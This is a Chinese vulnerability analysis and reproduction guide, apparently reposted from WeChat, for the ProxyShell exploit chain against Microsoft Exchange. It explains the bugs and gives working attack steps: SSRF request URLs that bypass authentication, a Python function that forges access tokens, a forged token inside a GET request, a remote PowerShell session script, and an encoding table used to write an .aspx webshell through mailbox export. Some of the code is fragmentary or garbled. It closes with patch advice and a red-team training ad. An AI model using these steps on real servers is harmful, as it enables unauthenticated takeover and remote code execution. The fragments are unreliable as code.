ProxyShell是CVE-2021-34473、CVE-2021-34523和CVE-2021-31207这3个漏洞的利用链：
CVE-2021-34473：授权前路径混淆导致 ACL 绕过；
CVE-2021-34523：Exchange PowerShell后端特权提升；
CVE-2021-31207：授权后任意文件写入导致 RCE。
ProxyShell是利用了Exchange服务器对于路径的不准确过滤导致的路径混淆生成的SSRF，进而使攻击者通过访问PowerShell端点。而在PowerShell端点可以利用Remote PowerShell来将邮件信息打包到外部文件，而攻击者可以通过构造恶意邮件内容，利用文件写入写出webshell，从而达成命令执行。
影响范围
Microsoft Exchange Server 2019 Cumulative Update 9
Microsoft Exchange Server 2019 Cumulative Update 8
Microsoft Exchange Server 2016 Cumulative Update 20
Microsoft Exchange Server 2016 Cumulative Update 19
Microsoft Exchange Server 2013 Cumulative Update 23
漏洞复现
1.判断漏洞是否存在
如果漏洞存在，返回“Exchange MAPI/HTTP Connectivity Endpoint”，可以看到权限为System，url地址中的"/mapi/nspi"为Exchange服务器访问的最终地址，如图 所示；
图 Exchange MAPI/HTTP Connectivity Endpoint
2.通过SSRF漏洞获取SID和LegacyDn
为了获得用户的SID，我们可以使用类似Exchange SSRF漏洞(CVE-2021-26855)中的方法，通过访问/autodiscover/autodiscover.xml获得LegacyDn（如图 所示），作为参数继续访问/mapi/emsmdb，就能够获得用户对应的SID，如图 所示；
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
Accept-Encoding: gzip, deflate
X-Clientinfo: {2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
X-Requestid: {C715155F-2BE8-44E0-BD34-2960067874C8}:2
Content-Type: application/mapi-http
/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=86114682a4154dc2a67887830ff6c8b3-Admin
3.构造Token
通过登录名、用户 SID 以及组 SID可以进行构造Token（如图 所示
https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
defgen_token(uname, sid):
version_data =b'V'+(1).to_bytes(1, 'little') +(version).to_bytes(1, 'little')
type_data =b'T'+(len(ttype)).to_bytes(1, 'little') +ttype.encode()
compress_data =b'C'+(compressed).to_bytes(1, 'little')
auth_data =b'A'+(len(auth_type)).to_bytes(1, 'little') +auth_type.encode()
login_data =b'L'+(len(uname)).to_bytes(1, 'little') +uname.encode()
user_data =b'U'+(len(sid)).to_bytes(1, 'little') +sid.encode()
group_data =b'G'+pack('<II', 1, 7) +(len(gsid)).to_bytes(1, 'little') +gsid.encode()
ext_data =b'E'+pack('>I', 0)
raw_token +=compress_data
data =base64.b64encode(raw_token).decode()
4.访问后端的Powershell
通过SSRF和构造的Toke即可访问到后端的Powershell，访问成功会返回200，如图 所示；
GET /autodiscover/[email protected]/powershell/?X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBRhZG1pbmlzdHJhdG9yQHJkLmNvbVUqUy0xLTUtMjEtMzQzNjgzODItNTczMTg0NTE1LTMwNDM3Njc4OTItNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA&Email=autodiscover/autodiscover.json%[email protected]
5.使用远程Powershell
在已建立的 PowerShell 会话中，我们执行以下PowerShell命令：
-
New-ManagementRoleAssignment授予我们自己邮箱导入导出角色；
-
New-MailboxExportRequest将包含我们恶意负载的邮箱导出到webroot，作为我们的web shell（如图 所示）。
$uri = 'http://127.0.0.1:8000/PowerShell/'
$username = 'whatever' # unimportant
$password = 'whatever' # unimportant
$secure = ConvertTo-SecureString $password -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $secure)
$option = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
ConfigurationName = "Microsoft.Exchange"
$session = New-PSSession @params
Invoke-Command -Session $session -ScriptBlock {
# PowerShell commands to execute...
漏洞原理
CVE-2021-34473 授权前路径混淆导致ACL绕过
ProxyShell的第一个漏洞类似于ProxyLogon中的SSRF。它也在前端（称为客户端访问服务或 CAS）计算后端URL时出现。当客户端HTTP请求被归类为显式登录请求时，Exchange将在将请求路由到后端之前规范化请求 URL并删除邮箱地址部分，显式登录是Exchange中的一项特殊功能，可使浏览器使用单个URL嵌入或显示特定用户的邮箱或日历。要实现此功能，此URL必须简单并包含要显示的邮箱地址。例如：
然后，显式登录地址将作为参数传递给RemoveExplicitLogonFromUrlAbsoluteUri方法，this.explicitLogonAddress的值将从原来的AbsoluteUri中移除。
public static bool IsAutodiscoverV2PreviewRequest(string path) {
ArgumentValidator.ThrowIfNull("path", path);
return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase);
public static bool IsAutodiscoverV2Request(string path) {
ArgumentValidator.ThrowIfNull("path", path);
return RequestPathParser.IsAutodiscoverV2Version1Request(path) || RequestPathParser.IsAutodiscoverV2PreviewRequest(path);
漏洞版本的exchange的autodiscover服务未经身份验证就可以调用并可以实现Microsoft.Exchange.HttpProxy.ProxyRequestHandler类，这个类可以实现将服务需要访问的url传送给后端服务让后端代表自己来访问，然后将返回值返回到服务，一般情况下要访问的目标是系统服务自动生成的，即使我们有高权限也无法改变，如果我们能实现更改服务传输给后端BackEnd的url，就能实现高权限的任意url访问。
在Proxylogon漏洞中我们研究了ProxyRequestHandler的GetTargetBackEndServerUrl函数，并知道了这个函数决定了传给后端的URL内容是什么，在GetClientUrlForProxy中可以看到它将从URI中删除“explicitLogonAddress”并重建URI，前提是IsAutodiscoverV2Request函数返回true，isExplicitLogonRequest返回true;
protected override UriBuilder GetClientUrlForProxy()
string absoluteUri = base.ClientRequest.Url.AbsoluteUri;
string uri = absoluteUri;
if (this.isExplicitLogonRequest && !RequestPathParser.IsAutodiscoverV2Request(base.ClientRequest.Url.AbsoluteUri))
uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri, this.explicitLogonAddress);
return new UriBuilder(uri);
IsAutodiscoverV2PreviewRequest此方法只对URL后缀执行简单的验证，非常好绕过；
public static bool IsAutodiscoverV2PreviewRequest(string path) {
ArgumentValidator.ThrowIfNull("path", path);
return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase);
public static bool IsAutodiscoverV2Request(string path) {
ArgumentValidator.ThrowIfNull("path", path);
return RequestPathParser.IsAutodiscoverV2Version1Request(path) || RequestPathParser.IsAutodiscoverV2PreviewRequest(path);
ExplicitLogonAddress来自POST、GET、Cookie的Email参数，所以Email参数的值要是一个合法的邮箱。如果上述条件都满足，那么isExplicitLogonRequest也会变成True，进而所有条件都满足。
HttpProxy/EwsAutodiscoverProxyRequestHandler.cs
protected override AnchorMailbox ResolveAnchorMailbox() {
if (this.skipTargetBackEndCalculation) {
base.Logger.Set(3, "OrgRelationship-Anonymous");
return new AnonymousAnchorMailbox(this);
if (base.UseRoutingHintForAnchorMailbox) {
if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)) {
text = base.ClientRequest.Params["Email"];
} else if (RequestPathParser.IsAutodiscoverV2Version1Request(base.ClientRequest.Url.AbsolutePath)) {
int num = base.ClientRequest.Url.AbsolutePath.LastIndexOf('/');
text = base.ClientRequest.Url.AbsolutePath.Substring(num + 1);
text = this.TryGetExplicitLogonNode(0);
if (ExplicitLogonParser.TryGetNormalizedExplicitLogonAddress(text, ref text2) && SmtpAddress.IsValidSmtpAddress(text2))
this.isExplicitLogonRequest = true;
this.explicitLogonAddress = text;
return base.ResolveAnchorMailbox();
综上所述，IsAutodiscoverV2PreviewRequest和IsAutodiscoverV2Request都必须返回true。因此我们生成恶意url的整体思路如下：
系统会判断用户输入的URL的Path部分是不是Autodiscover.json结尾，如果是则将Email(一个用户的可控参数)赋值给ExplicitLogonAddress；
如果用户输入的uri结尾不是autodiscover.json，则在用户输入的url中从头开始删除掉跟email的值一样的部分。然后将这部分作为要传给后端的url。
直接访问Exchange的/mapi/nspi会出现认证页面，让你输入账号密码（如图 所示），通过autodiscover/[email protected]/mapi/nspi/?&Email=autodiscover/autodiscover.json%[email protected]访问，即可直接访问到页面，并且是以system权限，如图 所示。
绕过了身份验证阶段，确定是SSRF漏洞。也可以使用添加cookie的方式进行漏洞利用。
Exchange自身就设计了有较多的接口用于业务需求，攻击方式正是基于如上解析方式进行ACL权限绕过，访问后端的资源，对于接口的利用在于WSDL的SOAP XML请求的参数要求及报文格式，利用得当的情况下，可在未授权情况下获取配置信息(LegacyDN、SID、邮箱账户)、读写文件、命令交互等。
CVE-2021-34523 Exchange PowerShell后端特权提升
由于Exchange的深度RBAC防御（ProtocolTypein/Autodiscover不同于/Ecp），ProxyLogon中使用的产生ECP会话的非特权操作是被禁止的，所以我们可以利用Exchange PowerShell。
Exchange PowerShell Remoting功能原生内置于Microsoft Exchange中，允许用户从命令行发送邮件、阅读邮件，甚至更新配置。Exchange PowerShell Remoting 建立在 WS-Management 之上，并为实现自动化实施了大量 Cmdlet。但是认证和授权部分还是基于原来的CAS架构。
之前的漏洞允许攻击者以NT AUTHORITY/SYSTEM的身份与任意后端URL进行交互，但是由于该用户没有邮箱，攻击者无法在该权限级别直接与PowerShell后端 (/Powershell) 进行交互，通过查看Exchange PowerShell 后端的实现，在ConfigurationRemotePowershellBackendCmdletProxyModule.cs中可以看到可以通过 URL 指定用户身份。
private void OnAuthenticateRequest(object source, EventArgs args) {
HttpContext httpContext = HttpContext.Current;
if (httpContext.Request.IsAuthenticated) {
if (string.IsNullOrEmpty(httpContext.Request.Headers["X-CommonAccessToken"])) {
Uri url = httpContext.Request.Url;
CommonAccessToken commonAccessToken = CommonAccessTokenFromUrl(httpContext.
User.Identity.ToString(), url, out ex);
private static CommonAccessToken CommonAccessTokenFromUrl(string user, Uri requestURI, out Exception ex) {
CommonAccessToken result = null;
string text = LiveIdBasicAuthModule.GetNameValueCollectionFromUri(requestURI).Get("X-Rps-CAT");
if (!string.IsNullOrWhiteSpace(text)) {
result = CommonAccessToken.Deserialize(Uri.UnescapeDataString(text));
} catch (Exception ex2) {
X-CommonAccessToken我们是没有办法伪造，但是当PowerShell后端在当前请求中找不到X-CommonAccessToken标头时，将尝试反序列化并从查询X-Rps-CAT参数还原用户身份，那么通过SSRF我们可以可以直接访问后端并在中指定X-Rps-CAT的任意值；
反编译Exchange.Net.dll依次定位到 Microsoft.Exchange.Security.Authorization/CommonAccessToken/Deserialize(Stream stream)中可以看到
private void Deserialize(Stream stream)
using (BinaryReader reader = new BinaryReader(stream))
this.ReadAndValidateFieldType(reader, 'V', AuthorizationStrings.MissingVersion);
this.Version = this.BinaryRead<ushort>(new Func<ushort>(reader.ReadUInt16), AuthorizationStrings.MissingVersion);
this.ReadAndValidateFieldType(reader, 'T', AuthorizationStrings.MissingTokenType);
this.TokenType = this.BinaryRead<string>(new Func<string>(reader.ReadString), AuthorizationStrings.MissingTokenType);
this.ReadAndValidateFieldType(reader, 'C', AuthorizationStrings.MissingIsCompressed);
bool flag = this.BinaryRead<bool>(new Func<bool>(reader.ReadBoolean), AuthorizationStrings.MissingIsCompressed);
private void ReadExtensionData(byte[] bytes)
using (MemoryStream stream = new MemoryStream(bytes))
using (BinaryReader reader = new BinaryReader(stream))
this.ReadAndValidateFieldType(reader, 'E', AuthorizationStrings.InvalidFieldType);
this.ReadExtensionData(reader);
'V', AuthorizationStrings.MissingVersion，版本；
'T', AuthorizationStrings.MissingTokenType，类型；
'C', AuthorizationStrings.MissingIsCompressed，压缩；
'E', AuthorizationStrings.InvalidFieldType，扩展数据。
往下看到WindowsAccessToken，我们可以找到更多信息：
internal void DeserializeFromToken(byte[] token)
using (MemoryStream stream = new MemoryStream(token))
using (BinaryReader reader = new BinaryReader(stream))
this.commonAccessToken.ReadAndValidateFieldType(reader, 'A', AuthorizationStrings.AuthenticationTypeIsMissing);
this.AuthenticationType = this.commonAccessToken.BinaryRead<string>(new Func<string>(reader.ReadString), AuthorizationStrings.AuthenticationTypeIsMissing);
this.commonAccessToken.ReadAndValidateFieldType(reader, 'L', AuthorizationStrings.LogonNameIsMissing);
this.LogonName = this.commonAccessToken.BinaryRead<string>(new Func<string>(reader.ReadString), AuthorizationStrings.LogonNameIsMissing);
this.commonAccessToken.ReadAndValidateFieldType(reader, 'U', AuthorizationStrings.MissingUserSid);
private void SerializeToken(BinaryWriter writer)
writer.Write(this.AuthenticationType);
writer.Write(this.LogonName);
writer.Write(base.UserSid);
WriteGroups(writer, base.GroupSids, 'G');
WriteGroups(writer, base.RestrictedGroupSids, 'R');
this.commonAccessToken.WriteExtensionData(writer);
'A', AuthorizationStrings.AuthenticationTypeIsMissing，身份验证类型；
'L', AuthorizationStrings.LogonNameIsMissing，登录用户；
'U', AuthorizationStrings.MissingUserSid，用户SID；
通过前面的代码我们可以了解令牌格式，自己构造令牌即可，格式为：
V + 版本(x01x00) + T + 类型长度(x07) + 类型(Windows) + C + x00 + A + 认证类型长度(x08) + 认证类型(kerberos) + L + 用户名长度 + 用户名 + U + sid长度 + sid + G + 组个数(4字节，little endian，x06x00x00x00) + 分隔符x07x00x00x00 + 组1长度 + 组1 + 分隔符x07x00x00x00 + 组2长度 + 组2 + 分隔符x07x00x00x00 + 组3长度 + 组3 + 分隔符x07x00x00x00 + 组4长度 + 组4 + 分隔符x07x00x00x00 + 组5长度 + 组5 + 分隔符x07x00x00x00 + 组6长度 + 组6 + E + x00x00x00x00
https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
defgen_token(uname, sid):
version_data =b'V'+(1).to_bytes(1, 'little') +(version).to_bytes(1, 'little')
type_data =b'T'+(len(ttype)).to_bytes(1, 'little') +ttype.encode()
compress_data =b'C'+(compressed).to_bytes(1, 'little')
auth_data =b'A'+(len(auth_type)).to_bytes(1, 'little') +auth_type.encode()
login_data =b'L'+(len(uname)).to_bytes(1, 'little') +uname.encode()
user_data =b'U'+(len(sid)).to_bytes(1, 'little') +sid.encode()
group_data =b'G'+pack('<II', 1, 7) +(len(gsid)).to_bytes(1, 'little') +gsid.encode()
ext_data =b'E'+pack('>I', 0)
raw_token +=compress_data
data =base64.b64encode(raw_token).decode()
具体利用为，我们可以通过设置X-CommonAccessToken为空，并且构造一个正确的X-Rps-CAT值来间接控制CommonAccessToken的值，最终完成身份认证。
CVE-2021-31207 授权后任意文件写入导致RCE
在前面我们已经可以执行Exchange PowerShell Remoting支持的命令。在这里我们找到了命令New-MailboxExportRequest，它可以将用户的邮箱导出到指定路径：
New-MailboxExportRequest -Mailbox [email protected] -FilePath
\127.0.0.1C$pathtoshell.aspx
它可以让我们在任意路径创建一个文件，导出的文件是一个存储用户邮件的邮箱，输出是使用简单的置换编码 (NDB_CRYPT_PERMUTE) 的Outlook个人文件夹 (PST) 格式，所以我们可以在发送之前对有效载荷进行编码，当服务器试图保存和编码我们的有效载荷时，它会将它变成原始的恶意代码。
65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, 93,
30, 242, 203, 42, 116, 197, 94, 53, 210, 149, 71, 158, 150, 45, 154, 136,
76, 125, 132, 63, 219, 172, 49, 182, 72, 95, 246, 196, 216, 57, 139, 231,
35, 59, 56, 142, 200, 193, 223, 37, 177, 32, 165, 70, 96, 78, 156, 251,
170, 211, 86, 81, 69, 124, 85, 0, 7, 201, 43, 157, 133, 155, 9, 160,
143, 173, 179, 15, 99, 171, 137, 75, 215, 167, 21, 90, 113, 102, 66, 191,
38, 74, 107, 152, 250, 234, 119, 83, 178, 112, 5, 44, 253, 89, 58, 134,
126, 206, 6, 235, 130, 120, 87, 199, 141, 67, 175, 180, 28, 212, 91, 205,
226, 233, 39, 79, 195, 8, 114, 128, 207, 176, 239, 245, 40, 109, 190, 48,
77, 52, 146, 213, 14, 60, 34, 50, 229, 228, 249, 159, 194, 209, 10, 129,
18, 225, 238, 145, 131, 118, 227, 151, 230, 97, 138, 23, 121, 164, 183, 220,
144, 122, 92, 140, 2, 166, 202, 105, 222, 80, 26, 17, 147, 185, 82, 135,
88, 252, 237, 29, 55, 73, 27, 106, 224, 41, 51, 153, 189, 108, 217, 148,
243, 64, 84, 111, 240, 198, 115, 184, 214, 62, 101, 24, 68, 31, 221, 103,
16, 241, 12, 25, 236, 174, 3, 161, 20, 123, 169, 11, 255, 248, 163, 192,
162, 1, 247, 46, 188, 36, 104, 117, 13, 254, 186, 47, 181, 208, 218, 61
tmp += chr(mpbbCryptFrom512.index(ord(i)))
assert 'n' not in tmp and 'r' not in tmp
首先通过SMTP将我们编码的Web Shell发送到目标邮箱。如果目标邮件服务器不支持从未经授权的用户发送邮件，其他的第3方邮件服务（如Gmail）也可以用作从外部传递恶意负载的替代方式，然后使用New-ManagementRoleAssignment授予我们自己邮箱导入导出角色权限和使用New-MailboxExportRequest将包含我们恶意负载的邮箱导出到Web目录，作为我们的WebShell。
修复建议
ProxyShell攻击链早在四月份的Pwn2Own上就已被上报，微软也在四月及时发布了安全性更新补丁。
如果出于其他原因不能安装补丁，可以对含有autodiscover/autodiscover.json@<邮件地址>特征的HTTP请求URL进行阻拦和过滤。
有需要红队培训请私聊我，课程表私聊，小班教学，名额有限！
![Microsoft Exchange漏洞分析三：ProxyShell]( "Microsoft Exchange漏洞分析三：ProxyShell")
原文始发于微信公众号（黑白天实验室）：Microsoft Exchange漏洞分析三：ProxyShell
评论